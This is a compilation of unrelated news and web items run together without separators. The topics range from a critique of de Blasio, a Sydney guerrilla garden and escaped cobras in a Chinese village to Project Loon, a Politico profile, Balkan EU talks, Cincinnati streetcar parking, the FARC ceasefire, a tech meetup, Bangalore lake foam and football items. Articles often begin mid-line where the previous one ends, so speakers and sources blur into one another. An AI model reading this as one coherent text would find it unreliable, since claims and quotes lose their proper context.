And the historic crime reduction that the Giuliani administration quickly achieved, which resulted in New York’s miraculous rebirth almost overnight? “I don’t 100 percent buy into that theory,” de Blasio sniffs, waving away an inconvenient reality as if it never happened. “I agree that he was good at selling himself, and a lot of media over-accepted his version of the story. So, yeah, do you give him credit for figuring out a way to get more credit than he deserves? Sure, if that’s credit. We’ve proven not only was my model more electorally popular than his—by a lot [the 73 percent landslide myth, again]—but that you can manage this place much more effectively if you’re not in fact creating division through the process.”
But the greatest de Blasio self-delusion of all is his Tale of Two Cities, the rich and white New York somehow withholding opportunity from the poor and minority one, further oppressed by racist police, whom de Blasio says he tells his biracial teenage son every day to treat with extreme wariness, lest they brutalize him on the slightest pretext. Talk like that will not uplift the poor but only imprison them all the more harshly in their self-destructive resentment and prompt them to act it out by burning down their own neighborhoods, as happened this spring in Baltimore. The mayor had better open his eyes, take a hard look, and cool his rhetoric, before he lights a raging bonfire at home.
Top Photo: De Blasio imagines that liberal resentment will raise him to national prominence. (RON SACHS/CORBIS)Calls for Wendy Whiteley's'secret garden' to be declared a permanent public park
Updated
For over 20 years Wendy Whiteley has been creating a unique public garden in front of her home on the northern shore of Sydney Harbour. She spoke with Australian Story.
For more than 20 years, Wendy Whiteley has been creating a unique public garden in front of her home at Lavender Bay, on the northern shore of Sydney Harbour.
With canyons of high-rise buildings nearby, it is a precious sanctuary that many in the local community consider of such significance that they now want the Government to step in and protect it for all time.
After Brett died, I just started clearing in front of the house. And it kind of grew like topsy from there. Wendy Whiteley
Covering almost a hectare, this harbourside land had been neglected for almost a century, becoming an unofficial dump, until Ms Whiteley began to clear it.
Where the garden is, used to be just a big green lump of lantana and morning glory. You had no idea of the depth of the place. The actual thing of it being a walled garden wasn't revealed until we started clearing out all the junk and the rubbish. Wendy Whiteley
Friend and writer Janet Hawley has recently documented the history and concept of the garden as part of the push for preservation.
I think people don't realise that it's actually a huge philanthropic gift from Wendy, this garden. For over twenty years she's paid for the entire thing herself. Her own labour, full-time gardeners, all the plants, the soil, everything. Janet Hawley, friend of Wendy's and arts writer
This is a "guerrilla garden" — it stands on public land owned by the NSW State railways and Ms Whiteley has never sought anyone's permission for her venture.
She worried that if she asked, she would be told "no".
Nor did she engage landscape designers or other professionals.
Instead, she approached the garden as if it were a giant painting, and applied the same artistic sensibility as seen in her late husband Brett Whiteley's famous Lavender Bay series of paintings.
Brett always knew he'd struck gold when he found Wendy. All those interiors that Brett painted in those much-loved Lavender Bay paintings, that's Wendy's aesthetic. The way she framed a view, looking through a window, and it's continued in the garden. Janet Hawley
To Hawley, whose book Wendy Whiteley and the Secret Garden will be released later this month, the garden has great cultural importance.
It's this wonderful sort of linkage of Brett and Wendy Whiteley. You've got Brett's Lavender Bay paintings that have this wonderful sensual summery Australian-ness about them and Wendy's Lavender Bay garden. It's as though it was meant to be. Janet Hawley
For three decades, Brett and Wendy Whiteley were icons of Australian art — he the internationally acclaimed "rockstar" artist, and she his wife and muse.
Adding to the allure was a talented daughter, the actress Arkie Whiteley.
But then tragedy struck. Brett died in 1992, followed by Arkie nine years later, leaving Wendy alone.
Determined not to let grief and heartbreak overwhelm her, Ms Whiteley has instead thrown all her energies and creativity into turning this huge wasteland into a beautiful sanctuary, and in the process has transformed her own life.
The garden's helped me enormously I think. When Arkie died it was a place I went where I could be quiet and think that, well, basically that life was worth living, you know, that there was something to do with life. Wendy Whiteley
Life is all we've got, really for me... life and our imaginations and our creativity and how we deal with it. And if you're lucky, it gets important to other people and you can share it. Wendy Whiteley
To me the garden is Wendy's Alchemy. She's turned a huge rubbish dump into a glorious blooming, flourishing garden. She's transformed the garden and along the way it's transformed her. Janet Hawley
Today, the work on the garden continues under a temporary beautification lease. But supporters of the garden are campaigning for Ms Whiteley's "living canvas" to be declared a permanent public garden.
The garden's really very vulnerable because it's on State Rail land, on a beautification lease which could be revoked tomorrow. Janet Hawley
Robert Emerson, North Sydney Council director in charge of Open Space and Environmental Services, is among those advocating for the garden to be preserved in perpetuity.
"One, it's a beautiful place," he said. "And two, it's an inspiration for all our community that this can occur — that a single resident has produced this as a result of her motivation, hard work, and love for what she's doing."
A spokesperson for NSW State Transport/Trains, told Australian Story that: "The land is leased to North Sydney Council until 2018 and we have no issue with the garden remaining unless the land is needed to help us deliver essential train services."
One, it's a beautiful place, and two, it's an inspiration for all our community that this can occur — that a single resident has produced this as a result of her motivation, hard work, and love for what she's doing. Robert Emerson of North Sydney Council
At 74, Ms Whiteley is increasingly anxious to see it protected.
It's very important to keep the garden as a kind of breathing space for people's spirits and for the city itself. And this is true of any public space or garden, if it's been made and people love it, then it's nice to feel that it would just go on. Wendy Whiteley
Watch Australian Story: Wendy's Way at 8pm on ABC.
Topics: lifestyle-and-leisure, gardening, arts-and-entertainment, sydney-2000
First postedXIANLING VILLAGE, China — Local businessman Cai Yong thought it would be a good idea to buy 3,000 cobra eggs and then hatch the snakes at an abandoned school building in homemade cages of plywood, brick and netting.
It wasn't.
Cai's plan to make money by selling cobra venom for traditional Chinese medicine fell apart when more than 160 of the serpents slithered through a hole in the wall and threw the remote village of Xianling into bedlam. Starting at the beginning of this month, cobras were spotted in outhouse toilets, kitchens, front yards and the mah-jongg parlor in this speck of a farming community in southwest China.
"I saw one in the bathroom," said Zhang Suli, the 47-year-old wife of a local corn and rice farmer. "I was scared, and I started screaming."
State media described Zhang pulling up her pants as she ran away from the toilet, but she made no mention of her state of dress during a recent interview.
The Mid-Autumn Festival holiday this week, when Chinese celebrate the season's harvest moon, hasn't been an auspicious one for the residents of Xianling.
First, there was the cobras-gone-wild story, which veered between slapstick and terror. Then an apparent government clampdown followed, in which officials declared that most of the snakes had been captured and all was well, assertions that many locals didn't believe.
Perhaps more than anything, the episode is a reminder that no problem or locale is too remote for the Chinese Communist Party's efforts to enforce its notion of a "harmonious society" in which there's no social upset. Even when it comes to cobras in the bathroom.
Walking up a path that led to the village amid small rice fields and rolling hills, Guan Xinyu paused to say that local officials were more interested in clamping down any sign of trouble than in rounding up the snakes. Like several others interviewed in the area, Guan said that while the 1,500-plus cobras that didn't escape were hauled off, he hadn't seen anyone trying to catch the ones that got away.
"The government is scared of people panicking because these snakes are dangerous," said Guan, a 64-year-old villager who does construction work in the city of Chongqing, a little less than 50 miles to the north. "I know they didn't catch all the snakes."
When a McClatchy reporter visited Xianling earlier this week, the vice mayor of the nearest town, Shijiao, was on hand to offer assurances and select the villagers whom he thought should be interviewed.
"It's safe here," said Vice Mayor Wei Zhaozhong, who'd ridden up the dirt road to the village in a police car. "We would like to talk about that."
Wei introduced a man by the name of Tan Bin.
"I think the government takes care of the people," said Tan, who claimed to have no job, although he was relatively well dressed and his cell phone kept ringing. "The upper leadership cares. They came here and took care of things."
Wei also invited the reporter to talk to Wang Yunping, who works for the local forestry department.
Wang started to explain that the villagers had nothing to worry about because the snakes that escaped were young and small.
"The snakes were only this big," Wang said, holding his fingers a couple of inches apart.
A woman in the crowd interjected, "No, they were this big," holding her hands about a foot apart. When Wei flashed a look at the woman, she quickly disappeared, but pictures of the cobras in state media tend to support her description
Officials recently have delivered snakebite serum to the village, though only the breeder has been hurt so far, and given lectures about cobras. The government of Shijiao issued a notice last week detailing how the snakes got loose and telling residents that almost all of them had been caught. A government-run newspaper in Chongqing carried a story with the same message.
All of which left Wei Yuanxiang with one pressing question: "The government says there aren't any cobras left, so why are people still seeing them?"
Wei, a 56-year-old who grows corn and tends a dozen pigs, unfolded a government statement that said that of 160 escaped snakes, 159 had been captured and one was killed. It also said, without explanation, that a few might still be loose.
"The government just wants to get this matter finished," he said.
Wei's neighbor, Luo Lizhong, said he saw a cobra last Saturday, several days after the village was given the all clear. Pointing at a spade leaning against the wall — everyone in the area seems to have one at the ready these days — Luo said he slapped it on the ground when he spotted the snake darting across his tool shed.
"I'm still happy about the Mid-Autumn Festival, but when we go out at night we have to be careful," said Luo, a 58-year-old rice and corn farmer.
His father, 80-year-old Luo Deliang, spoke up: "If we get bitten, the government will pay for the injection (of serum). But we'll be very sore."
Reached by phone, the man behind all the trouble acknowledged that he didn't have a license to raise the cobras. Cai, a 42-year-old farmer and businessman, said he got the idea to buy the eggs this August after he saw a program on TV and read a few articles about high demand for cobra venom in the traditional medicine community.
"I didn't take effective measures to keep them from escaping," said Cai, who's been bitten three times by the cobras.
He knows that villagers have reported multiple cobra sightings lately, but he insisted that those weren't his snakes.
Besides, Cai said, the government has told villagers all they need to know. "They educated people about keeping their lights on," he said, "and told them not to go out at night to avoid being bitten."
MORE FROM MCCLATCHY
China's dark side: On Yellow River, corpses mean cash
Waiting for a hospital bed in Beijing — on the sidewalk
Expo 2010 Shanghai: A 'Better Life,' but not for dissidents
Cheated on seeds and denied justice, a Chinese farmer takes his own life
Follow China developments at McClatchy's China Rises blogProject Loon: Google announces testing of balloon-powered internet over Indonesia
Updated
Google has announced it will begin testing balloon-powered internet over Indonesia in 2016, aiming to provide coverage across more than 17,000 islands.
According to the company, only about one in three of the country's 250 million residents has internet access, and setting up and maintaining mobile towers across the archipelago has proven to be challenging.
The solution, according to Google, is Project Loon — set up in 2013 as a series of balloons that float in the stratosphere, about 20 kilometres above Earth's surface.
The project works by ground stations connecting to the local internet infrastructure and beaming signals to the balloons, which are self-powered by solar panels.
The balloons — which once in the stratosphere will be twice as high as commercial airliners and barely visible to the naked eye — are then able to communicate with each other, forming a mesh network in the sky.
Users below have internet antennae they attach to the side of their house which can send and receive data signals from the balloons passing overhead.
"Soon we hope many more millions of people in Indonesia will be able to use the full Internet to bring their culture and businesses online and explore the world even without leaving home," Project Loon vice president Mike Cassidy said.
"Over the next few years, we're hoping Loon can partner with local providers to put high-speed LTE Internet connections within reach of more than 100 million currently unconnected people — that's enough speed to read websites, watch videos, or make purchases.
"From Sabang all the way to Merauke, many of these people live in areas without any existing Internet infrastructure, so we hope balloon-powered Internet could someday help give them access to the information and opportunity of the web."
The company has previously tested the concept in New Zealand, the United States and Brazil, but the Indonesia test will prove to be the project's biggest challenge.
Topics: information-and-communication, science-and-technology, internet-technology, indonesia, pacific
First postedTHE 28 PEOPLE FROM 28 COUNTRIES WHO ARE SHAPING, SHAKING AND STIRRING EUROPE.
Sponsored by:
OUR METHODOLOGY POLITICO 28 — An introduction You have in your hands a new publication. POLITICO 28 will be an annual affair — our version of the “chapeau” or “hats-off” magazine in which we …
9 MARIA ELENA BOSCHI ITALY Luke Waller
Maria Elena Boschi drew much media coverage back in 2014 when Matteo Renzi appointed her, at age 33, minister for constitutional reforms. That was a crucial post for an Italian prime minister who had put political reform at the center of his government’s action. Nearly two years later, with the passing of the institutional reform in 2015 that will reduce the power of the senate, Boschi has shown that youth is not incompatible with political success.
The reform is even named after her. The “Boschi bill” puts an end to a system where the two houses of Parliament had equal powers, which meant lengthy procedures and, often, legislative paralysis. From now on, Italy’s governments will no longer depend for their survival on a vote of confidence from the Senate, which will only number 100 senators, down from the current 325.
When the bill was finally approved in October, Renzi wrote on Facebook that Italy had “written another piece of its future.”
The change will have to be approved by a popular referendum in 2016, but there’s little chance it will be rejected. Coupled with an electoral reform already passed ensuring that the winning party will be able to count on a clear parliamentary majority, it should give Italian democracy more stability.
That would be no small feat for a country that has had 63 governments in 70 years.
Like many of Renzi’s acolytes, Boschi, a lawyer born in Tuscany, had to overcome many obstacles in her first parliamentary test. The far-right Northern League, for example, used an algorithm to submit no fewer than 80 million amendments to the Senate reform bill.
The reform minister will now embark on a European roadshow to present her reforms to Italy’s partners. A regular talk-show guest, she has avoided political gaffes and has even taken the liberty of differing from her mentor. For example, on civic rights — she is in favor of gay marriage, whereas he is more ambiguous. No wonder some already see her bound for even higher positions.
“She could even, one day, be the next prime minister,” says David Allegranti, Renzi’s biographer.
QUOTE/UNQUOTE
“I’m not Wonder Woman.”
“Once I used to spend until five in the morning clubbing, while now it happens to me only at the Senate.”
“If it is true that new is not necessarily a synonym of quality, the opposite is also true — not always people with more experience are the most able.”
“If we will not change Italy, I will go back [to work] as a lawyer.”
“I prefer to be judged upon my reform rather than my form.”
“Communists do not exist anymore!”
Click here to learn more about our methodology.A controversial NY Post cover photo of a man seconds from being hit by a train may have captured another powerful story.
How the New York Post subway photo turns the lens on us.
Many seemed to miss the true news value of the photograph itself. Looked at carefully, it is not merely a picture—it is a mirror.
To publish or not to publish? That was the debate in media circles this week after the New York Post printed a horrifying photo of a man named Ki Suk Han who had been pushed onto the subway tracks and was trying to avoid getting hit by a train. In its typical bombastic fashion, Rupert Murdoch's tabloid offered up the image as cheap, decontextualized news pornography for infotainment junkies. “Doomed” blared the headline in giant type, with the macabre subhead telling readers, “This man is about to die.”
The Post's singular goal, of course, was to attract eyeballs. To do that, the paper's editors opted to tap into the same impulse that prompts drivers to gawk at grisly highway accidents. In response, critics, like my Salon colleague Mary Elizabeth Williams, excoriated the paper for engaging in a “shamelessly tasteless stunt” that was all about exploitation.
“This wasn’t like the historic front page stories of the My Lai massacre, or of crowds lynching men in the South, or of Kent State: photographs of dead bodies that arrived with a demand for action and justice,” Williams wrote, summing up the pervasive criticism. “They were pictures that told a bigger story about a major news event … What does the Post have to say, aside from the fact that an apparently disturbed man pushed a commuter toward his death?”
Williams and other critics were right to slam the Post's specific presentation of the image. However, many seemed to miss the true news value of the photograph itself. Looked at carefully, it is not merely a picture—it is a mirror.
Here is an image of an immigrant in the richest city of the richest nation trying—literally—to personify America's up-from-the-bootstraps creed and pull himself to safety. And yet he was left to die in total solitude. As holiday music extolling community spirit echoes through every public space, not a single person came to his aid. Apparently, the only assistance he received was from a freelance photographer who flicked his flashbulb, allegedly to tell the train to stop. But those flashes weren't necessarily altruistic—they were also helping the camera record everything for maximum photographic effect.
Considered through this prism, the image is clearly powerful—and quite newsworthy.
Looked at one way, it captures how so many immigrants are invisible to the larger population—unseen or ignored in what should be the most attention-grabbing of moments.
Looked at another way, the photograph documents desensitization—Americans (and city dwellers in particular) are often so used to witnessing tragedy that many don't even react to it anymore.
Looked at yet another way, it seems to illustrate which ideology has won too many hearts and minds. In a country that oxymoronically touts both its generosity and its self-focused hyper-individualism, the latter ethos too often wins out, to the point where a guy thrown to the bottom of a subway channel can't even get anyone to offer a hand up.
But maybe the most harrowing message of the image is the one about voyeurism. Echoing our obsession with commodifying images and packaging them to “go viral,” the snapshot personifies a culture that tells us to take pictures first and help later—if at all.
That any newspaper—even a tabloid—could behold such a consequential image and nonetheless use cheap headlines to obscure its core meaning only underscores the supremacy of such voyeurism.
Ultimately, then, the most profound visual to come from Han's death may not be the photograph itself—but the image of how it was presented on the cover of the New York Post. In that chilling context, it says far more than 1,000 words about what truly ails our society.Infantino ‘open’ to 40-team World Cup
By Football Italia staff
FIFA President Gianni Infantino is “open” to a 40-team World Cup played in several countries.
The 2020 European Championships will be held in 13 different countries in 13 host cities, with the final at London’s Wembley Stadium.
It has been suggest FIFA could follow UEFA’s lead, with the European governing body having already expanded Euro 2016 to 24 teams, rather than the previous 16.
“These two topics [40 teams and multiple hosts] will certainly be on the table for discussion,” Infantino said ahead of the FIFA council meeting in October.
“There is, I would say, no limit to whatever is good for football. We will see, but it's true that CONCACAF did not have the World Cup for a long time.
“For the moment I think everything is open. My opinion on the 40 teams has not changed.
“We have seen it again at the Euro in France with eight more teams, what kind of enthusiasm this generated in many, many countries.
“We need to realize that these kind of events are more than just a competition, they are real social events in the whole world.”
Rome will be one of the host cities for Euro 2020, hosting Quarter-Final and Group Stage matches.Thank you for supporting the journalism that our community needs!
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an agreement would emerge.
“It is time for Serbia and Kosovo to move on from the past and look ahead to a common European future,” he said. “We hope the two leaderships will seize the historic opportunity that lies before them.”
Kosovo’s EU integration minister, Vlora Citaku, tweeted: “Kosovo and Serbian delegations to meet tomorrow again in Brussels! Lets hope this opportunity won’t be missed!”
Five years since Kosovo seceded, Serbia has signaled it is ready to come to terms with the loss of its southern province in exchange for the economic boost of closer ties with the EU. Serbs consider Kosovo the cradle of their Orthodox Christian faith, but 90 percent of its 1.7 million people are Albanians.
Accession talks would help unlock Serbia’s potential as the largest market in the former Yugoslavia, providing a stimulus for reform and a signal of stability for much-needed foreign investors. The country will watch neighboring Croatia, its wartime foe, become the EU’s 28th member on July 1.
ETHNIC PARTITION
Kosovo broke away from Serbia in 1998-99, when NATO waged an 11-week air war to halt the killing and expulsion of ethnic Albanian civilians by Serbian forces trying to crush a guerrilla insurgency.
It was late Serb strongman Slobodan Milosevic’s last throw of the dice in the bloody collapse of federal Yugoslavia before his ousting in 2000. Kosovo declared independence in 2008 and is recognized by more than 90 countries, including the United States and 22 of the EU’s 27 members.
Serbia retained de facto control over a small, Serb-populated pocket of north Kosovo, in an ethnic partition that frequently flares into violence and that the EU says must end. The standoff has frustrated plans by NATO to further cut back its Kosovo peace force, which now numbers 6,000 soldiers.
In a major U-turn in official policy, Serbia’s ruling coalition has offered to recognize the authority of Pristina over the north, but wants autonomy for some 50,000 Serbs living there.
Related Coverage EU Commission set to delay decision on Serbia membership talks
Talks in Brussels had foundered over the powers Serbs would wield, particularly over policing and courts. Serbian government officials said progress had been made over several days of informal contacts with Pristina.
Even if the EU opens accession talks, Serbia is unlikely to join before at least 2020. Fellow former Yugoslav republic Slovenia joined in 2004. Croatia follows in July and Montenegro has begun membership talks. Macedonia is a candidate for membership, Bosnia has yet to apply and Kosovo is last in the queue.
In a report on Macedonia, enlargement commissioner Fuele said progress had been made despite a spike in political tensions and reported “new momentum” in efforts to resolve a long-running row with Greece over Macedonia’s name, which is holding up its integration with the EU and NATO.Buy Photo Construction continues on Court Street between Main and Walnut for the streetcar electric substation. (Photo: The Enquirer/Carrie Cochran )Buy Photo
Doing business at the Downtown Bureau of Motor Vehicles, Hamilton County building and other Court Street businesses has always been a challenge because there’s just not enough parking.
But it just got harder with the loss of 12 metered parking spaces between Main and Walnut streets – about a fourth of the spaces there – to make way for a streetcar power station.
Nearby business owners and elected officials are pushing back, hoping the city will put some nearby metered parking elsewhere.
“It is a big, ugly eyesore,” said Hamilton County Auditor Dusty Rhodes, who has long been against the project but can see the power station outside his office window.
People file in and out of the county building all day – it is home to building permits, taxes and land registration.
“We try to accommodate folks, but it is becoming harder and harder to find parking spaces,” he said. “And the argument that the streetcar will make up for it because people will ride it to and from businesses is offensive to me. No sensible person would believe it.”
Part of the problem, in the block west of Court Street, the city has dedicated two metered spots to cars used by a ride-sharing company.
These spaces are so popular people circle the block waiting for somebody to back out.
Project Manager John Deatrick said he is listening to complaints and has a plan to put five metered spaces elsewhere on Court and Walnut streets. He’s looking at where six to seven others could go.
“We’re making every effort to minimize the impact,” Deatrick said.
Work on the substation – which takes electricity from underground wires and feeds it to the streetcar through overhead wires – is under way now; the design was finalized in 2012.
The 53-foot-long by 16-foot-tall metal substation is one of three: one on the south end of the route (the Riverfront Transit Center), another in the middle (Court Street) and the third at the north end of the route (Findlay Market).
The goal: Keeping costs to a minimum. But that meant putting it on property the city already owned. Planners also didn’t want to lose any space that could potentially be developed.
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Consideration was given to putting it in the Central Parkway median over the old subway tunnels, but was dismissed as an option because of structural, space and safety concerns. The subway tubes were problematic because they contain water mains and it would not be safe to put an electrical substation nearby, Deatrick said.
Streetcar planners reached out to Court Street businesses, letting them know about the power station, but did not go around the corner to Main Street businesses.
Deatrick apologized for missing those businesses and said they will be included in all future updates.
Matt Woods, business manager for ACME Lock, which has been located on Main Street across from the courthouse since 1933, said he’s pro-streetcar, but the substation project “is a debacle.”
“They are the most prime parking spaces in all of Cincinnati,” he said.
He’s concerned about parking because his locksmiths come and go. For now, they’ll have to work out of the Covington store, meaning that city will get all the tax benefits.
“Our walk-in business is down by 35 percent,” Woods said. “We’re the only Downtown hardware store. I don’t want people thinking it’s easier to go to the suburbs.”
Hamilton County Commissioner Todd Portune, who has long been a parking watchdog – in the past introducing free 10-minute parking at meters – has been a liaison between the businesses and city.
“There has been a disruption to business during the construction period,” Portune said. “I think the communication has gotten better, but it certainly could have been better out of the gate.”
Portune said the bigger issue is the long-term loss of parking spaces.
“These businesses are dependent on pass-through customer spaces,” Portune said. “Folks need to have easy access, parking that is immediately adjacent.”
For businesses to survive Downtown, these parking spaces are imperative, Portune said.
Deatrick knows it is inconvenient now, but says eventually the streetcar will bring a new vibrancy to Downtown because people will be able to get places without having to park their cars.
“Part of the reason for the streetcar is to reach business, to get critical density,” Deatrick said. “For now, it is kind of hard sell, telling somebody you’ll lose 12 spaces, but it will help create a vibrancy.” ■
About the transit power substations
What are they?
They provide the electrical power to run the streetcar vehicle. It converts power received from Duke Energy to DC power, which is needed to run the streetcar vehicle. The DC power is transmitted through an overhead wire to the streetcar.
Why are they needed?
The substations are placed where they are to ensure the system runs properly. If the units are spaced too far apart the system will no receive enough power to operate. Generally, the route needs a substation at the north end of the route, one at the south end and one in the middle in order to prevent the loss of overhead electric power over long distances.
Great, but why are we putting them in the middle of Court Street and in the Findlay Market parking lot?
Once the system designers determined the spacing of the substation units, the city sought to locate them on sites that were owned by the city an/or located in city-owned right-of-ways. This was done to minimize costs and maintain easy access for maintenance purposes.
What will the Court Street substation look like?
The city is working with the Department of Transportation and Engineering Architecture and Urban Design staff to develop a unique enclosure that will provide the necessary level of safety and security while also providing an attractive/aesthetic look for the area.
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Hellooo there!It's been ages since I've done a blog, so hopefully you'll enjoy this.Below is a link to something I've just made. I do luv a good horror story, especially an audio one (saves on reading) So, just for you, is an old Horror Radio Show/Play entitled. And to add that extra bit of awesomeness, I've also added in old advertisments, trailers and even a song in the right places.The story is pretty average to be honest, it's about a doctor who resurrects a man from the dead. Very much like, or, or any of the other millions of films with the same plot!But this is OLD-SCHOOL and it just adds to the creepiness I think. Plus it's quite funny too - especially the adverts.So, click on the link, download the file, turn of the lights and snuggle up to Mr. Snugums your teddy bear, as you go on a journey back in time and listen to a great little horror radio play.BTW - I know that the adverts/songs/story/etc do not come from the same time. I wasn't going for accuracy here, but mood and tone.ENJOY!KyleImage copyright AFP Image caption Colombian delegate Marcela Duran said both sides had successfully reached an agreement on a bilateral ceasefire.
The Colombian government and the Farc rebels say they have agreed to lay down arms as they approach the end of historic peace talks in Havana.
In a joint statement, the two sides said they had reached agreement on a bilateral ceasefire and how disarmament would take place.
The details will be made public on Thursday.
On Monday, the Colombian President Juan Manuel Santos said a final peace deal could be signed by 20 July.
The final deal will end five decades of armed conflict in which an estimated 220,000 people have been killed and almost seven million displaced.
What Colombians say about the peace process
What is at stake in the Colombian peace process?
Speaking in Havana, where peace talks have been taking place for more than three years, Colombian government spokeswoman Marcela Duran outlined what had been agreed.
"The national government and Farc delegations inform the public that we have successfully agreed a definitive and bilateral ceasefire, the laying down of arms, security guarantees and the fight against organised crime units."
Farc commander Carlos Lozada wrote on Twitter: "So that this horrible night may end and the path of peace and light may open, on Thursday 23 June we will announce #thefinaldayofthewar."
The agreement on the bilateral ceasefire resolves one of the final points of the peace talks and leaves only one other issue to be resolved.
'Big hurdle': Analysis by BBC Mundo's Natalio Cosoy in Bogota
Image copyright AP
The negotiators have overcome one of the biggest hurdles on the road towards a final peace deal.
They had already agreed on rural reform; tackling the illicit drugs trade; the rebels' political participation; and how crimes committed during the conflict would be dealt with.
In this latest agreement, the two sides have committed themselves to stop using their weapons for good by entering into a permanent verifiable bilateral ceasefire.
It comes almost a year after the Farc declared a unilateral ceasefire, which resulted in a significant drop in levels of violence.
That move was followed by the government halting air raids on rebel camps and a de-escalation of offensive action by the security forces.
This latest agreement goes further as it will result in the disarmament of the Farc, who will now have to trust state forces to protect them from their enemies, of which they have many in Colombia.
Both sides still need to establish how the peace deal in its totality will be implemented, verified and approved.
The governments wants to put the deal to a popular vote so that the Colombian people can have their say.
Farc negotiators have said they would prefer to call a constitutional convention to incorporate the deal into Colombia's constitution.
The meeting on Thursday will be chaired by President Santos and the leader of the Farc, Timoleon Jimenez.
They will be joined by UN Secretary General Ban Ki-Moon, Cuban leader Raul Castro and the Norwegian Foreign Minister Borge Brende, who are representing guarantor countries.
The presidents of Chile, Michele Bachelet, and of Venezuela, Nicolas Maduro, will also be there as well as representatives from the US, the European Union and the presidents of El Salvador and the Dominican Republic.Join us for a night of talks from NGINX, Sysdig and Mesosphere, dinner, drinks, and Q&A.
6:00pm: Arrive, eat, network
6:30pm: Chris Stetson from NGINX
7:00pm: Loris Degioanni from Sysdig - What are your containers doing? Troubleshooting containers at scale
7:30pm: Michael Hausenblas from Mesospehre - Mesos as a toolbox—horses for courses
8:00pm: Wrap up and network
Details:
Chris Stetson, Chief Architect of Professional Services at NGINX, is leading the microservices practice at NGINX and has been instrumental in building out the NGINX Microservices Reference Architecture. Prior to joining NGINX, Chris was building scale web applications for major enterprises including Sirius Satellite Radio, Visa, Intel, Microsoft, Restoration Hardware and Lexus.
Ben Horowitz, Technical Architect at NGINX, is an experienced software engineer, architect, and engineering manager with a proven track record of delivering enterprise-scale web applications. He specializes in backend and API development, service-oriented architecture, and high scalability/high availability solutions.
What are your containers doing? Troubleshooting containers at scale.
Containers are amazing. Until you have to troubleshoot applications running in them! This talk will be focused on using open source sysdig to show you how to do just that. Sysdig provides deep, request‐level visibility inside containers without invasive instrumentation. It gives instant visibility to containers, and even the applications running inside them.We'll also give you a sneak preview of our upcoming Mesos & Marathon integrations and how they simplify troubleshooting even more.
Loris Degioanni is the CEO and founder of Sysdig, Inc. and the original creator of the popular open source troubleshooting tool, sysdig. Prior to founding Sysdig, Loris ran the company behind the Wireshark open source network analyzer that he co-founded in 2005. Loris holds a PhD in computer engineering from Politecnico di Torino and lives in Davis, California.
Mesos as a toolbox—horses for courses
One of the characteristics of Mesos and its ecosystem is its versatility: it supports a range of workloads, from batch to streaming and PaaS. We will have a closer look at the toolbox, discuss the usage and applicability of a number of frameworks (Marathon, Kubernetes, Chronos, Cook, etc.) for different scenarios as well as identify what else might be missing in the toolbox, so far (hint: serverless compute).
Michael Hausenblas is a Datacenter Application Architect with Mesosphere where he helps developers to build scalable and elastic distributed applications. His background is in large-scale data integration, Hadoop and NoSQL, the Internet of Things, as well as Web applications and he's experienced in advocacy and standardisation. Michael is contributing to open source software at Apache (Myriad, Drill) and shares his experience on the Datacenter OS and large-scale data processing through blog posts and public speaking engagements.Image copyright Debasish Ghosh Image caption The foam rises so high that it flows into the neighbourhoods around the lake
Is it snowing in India's tropical southern city of Bangalore?
The picture above would certainly make you think so.
Unfortunately, the reality is quite different: what looks like snow is actually harmful snow-white froth that floats up from the city's largest lake and spills over into neighbouring areas.
Over the years, the 9,000-acre Bellandur lake in India's technology capital has been polluted by chemicals and sewage.
IT professional Debasish Ghosh has been taking pictures of the lake of "harmful snowy froth" for months now. Here is a selection of his pictures.
Image copyright Debasish Ghosh Image caption Mixing with storm water coming out of two outlets into the lake, pollutants form a toxic snowy foam that covers the water and rises so high it flows into the surrounding areas.
Image copyright Debasish Ghosh Image caption The situation gets worse during the rains. When the wind blows, it carries the foam in the air
Image copyright Debasish Ghosh Image caption Locals say authorities are not doing enough to clean the lake. They have filed petitions in the court, urging action - the earliest complaints date back to 2000 - but nothing much has happened.
Image copyright Debasish Ghosh Image caption Ghosh says the foam emits an "unbearable smell", but local people have to live with it
Image copyright Debasish Ghosh Image caption A traffic gridlock in a foam covered street near the lake
Image copyright Debasish Ghosh Image caption In May, the lake caught fire on two separate days. The flames, say scientists, were caused by industrial effluents in the water, including detergents, oil and grease.The Scot has invited the Liverpool midfielder to join him in San Sebastian, while Southampton manager Ronald Koeman would also be interested in signing the Reds captain
Former Manchester United manager David Moyes has opened the door to Steven Gerrard joining him at Real Sociedad in 2015.The Scot endured a nightmare reign in charge of the Red Devils during the 2013-14 campaign but has since been given the opportunity to return to management with the Primera Division side.And Moyes has now suggested that Gerrard, who announced his decision to leave Liverpool when his contract expires in the summer, is welcome to join him in Spain.The 51-year-old told reporters: "He has had a great career for his club and for England and he will be very difficult to replace. If he ever wanted to come to play in Spain, he knows he can phone me."Southampton boss Ronald Koeman, meanwhile, has also thrown his hat in the ring and says that there would always be a place available for Gerrard if he wanted to join the Saints, though the ex-England international has indicated that he would rather not line up against the Reds next season.He told reporters: "It is maybe a little bit strange to see Steven Gerrard out of the club Liverpool and, if he likes to continue, he can come [here]."I am serious - if he likes to continue football in England, he can come. For Steven Gerrard, you have always a position for him."He is a fantastic football player, really at the top level in the midfield position and the captain of the club, with an impressive football career."Swans Cap First Vietnamese AFL Captain – Nguyen Quang Vinh
The Vietnam Swans are fiercely proud of their growing local presence and have started to notice the effects on the pitch with several local players catching onto the skills and developing unique roles of their own built around pace, new lines and outright enthusiasm.
This has come to an amazing level with the Swans announcing Nguyen Quang Vinh acting Captain this weekend when the Swans travel to play in the Shanghai Cup as part of the first ever AFL game in Asia! Swans skipper Billy Crang told us “Although devastated I couldn’t get to Shanghai to be part of what’s a cracking Swannies squad I couldn’t think of anyone better to take the reigns. Vinh’s leadership in our local development push as well as as a key part of our team up forward has been inspirational. Like always I know he’ll enjoy the challenge, play his heart out for the team and pop up for some crucial goals when we need them. I know I’ll be glued to my phone late Saturday preying for pics of Vinh and the boys holding that trophy!”
We caught up with the man himself just as he rushed (literally seconds to spare in true Swans captain style) to the airport ready to lead his country and take on Asia’s best:
SIS: How has playing for the swans been for you?
Vinh: The Swans is one of the favorite things in my life. It is not only a social sport club but also a family for those who believe it is. Playing for the Swans is like I come to the fight with my brothers and I fight not only for me but also for my brothers.
SIS: What were the biggest challenges of the game?
Vinh: The concept of the AFL game is completely different from that of our popular games in Vietnam. Hence, the skills, the contact, the rules, the field… are all challenging to us. However, with the helpful team here there’s a lot of advice given to us and that helps us to access the game comfortably and easily.
SIS: How do you feel the local development movement is going?
Vinh: The Swans are working hard and seriously on local development. Despite being way behind in terms of the time running the local development program compared to other countries, the Swans have shown their intense effort to develop not only the quantity but also the quality of the Vietnamese players.
